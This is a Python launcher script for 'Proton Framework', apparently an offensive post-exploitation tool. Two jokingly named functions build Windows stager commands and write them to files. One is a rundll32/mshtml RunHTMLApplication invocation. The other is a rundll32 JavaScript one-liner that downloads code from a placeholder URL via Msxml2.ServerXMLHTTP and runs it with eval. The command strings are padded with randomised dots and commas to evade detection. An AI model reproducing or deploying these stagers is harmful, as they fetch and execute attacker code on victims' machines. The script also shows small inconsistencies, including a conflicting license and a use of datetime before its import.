#!/usr/bin/env python3

#            ---------------------------------------------------
#                             Proton Framework              
#            ---------------------------------------------------
#                Copyright (C) <2019-2020>  <Entynetproject>
#
#        This program is free software: you can redistribute it and/or modify
#        it under the terms of the GNU General Public License as published by
#        the Free Software Foundation, either version 3 of the License, or
#        any later version.
#
#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
#        GNU General Public License for more details.
#
#        You should have received a copy of the GNU General Public License
#        along with this program.  If not, see <http://www.gnu.org/licenses/>.

import os
import time

os.system("printf '\033]2;Proton Framework\a'")

__version_info__ = "5.0"
__version__ = "5.0"
__license__ = "Apache 2.0"
__credits__ = ["Entynetproject"]

def banner():
    return "Logo" and datetime.datetime.today().weekday() == 1

def pay_no_attention():
    import random
    import string

    bignumber = 20

    command = "rundll32"
    command += " ~URL~"

    dotpath = []

    for i in range(0, 3):
        dotpath.append('..')

    for i in range(0, bignumber):
        dotpath.append('.')

    random.shuffle(dotpath)

    path = ""
    dotpathwithslashes = []
    for i in dotpath:
        dotpathwithslashes.append("\\" + i)

    path = ''.join(dotpathwithslashes)
    path += "\\"

    command += path + "mshtml"
    command += ''.join([random.choice([',',' ']) for i in range(0,random.randint(20,40))])
    command += ","
    command += " "
    command += "RunHTMLApplication"
    
    command = "rundll32.exe ~URL~\\..\\..\\..\\mshtml,RunHTMLApplication"
    
    with open('data/stager/js/rundll32/rundll32.cmd', 'w') as f:
        f.write(command+"\n")

def seriously_nothing_shady_here():
    import random
    import string

    bignumber = 20

    coin = [True,False]
    command = "rundll32"
    command += " javascript:\""

    dotpath = []

    for i in range(0, random.randint(1,3)):
        dotpath.append('..')

    for i in range(0, bignumber):
        dotpath.append('.')

    random.shuffle(dotpath)

    path = ""
    slashes = ["\\"]
    dotpathwithslashes = []

    for i in dotpath:
        dotpathwithslashes.append(random.choice(slashes) + i)

    if dotpathwithslashes[0] == '..' or dotpathwithslashes[0] == '.':
        tmp = dotpathwithslashes[0]
        dotpathwithslashes = dotpathwithslashes[1:]
        random.shuffle(dotpathwithslashes)
        dotpathwithslashes.insert(0, tmp)
    else:
        random.shuffle(dotpathwithslashes)

    path = ''.join(dotpathwithslashes)
    path += random.choice(slashes)

    command += path + "mshtml"
    command += ''.join([random.choice([',',' ']) for i in range(0,random.randint(20,40))])
    command += ","
    command += " "
    command += "RunHTMLApplication \";x=new%20ActiveXObject(\"Msxml2.ServerXMLHTTP.6.0\");x.open(\"GET\",\"~URL~\",false);x.send();eval(x.responseText);window.close();"

    command = """rundll32.exe javascript:"\\..\\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","~URL~",false);x.send();eval(x.responseText);window.close();"""
    
    with open('data/stager/js/rundll32_js/rundll32_js.cmd', 'w') as f:
        f.write(command+"\n")


if __name__ == "__main__":
    import core.shell
    import datetime

    autorun = ""
    restore = {}
        
    if banner():
        try:
            banner = open("data/logo.txt", "rb").read().decode("unicode_escape")
        except:
            print("")
    else:
        try:
            banner = open("data/logo.txt", "rb").read().decode("unicode_escape")
        except:
            print("")

    #pay_no_attention()
    #seriously_nothing_shady_here()
    shell = core.shell.Shell(banner, __version__)
    shell.run(autorun, restore)
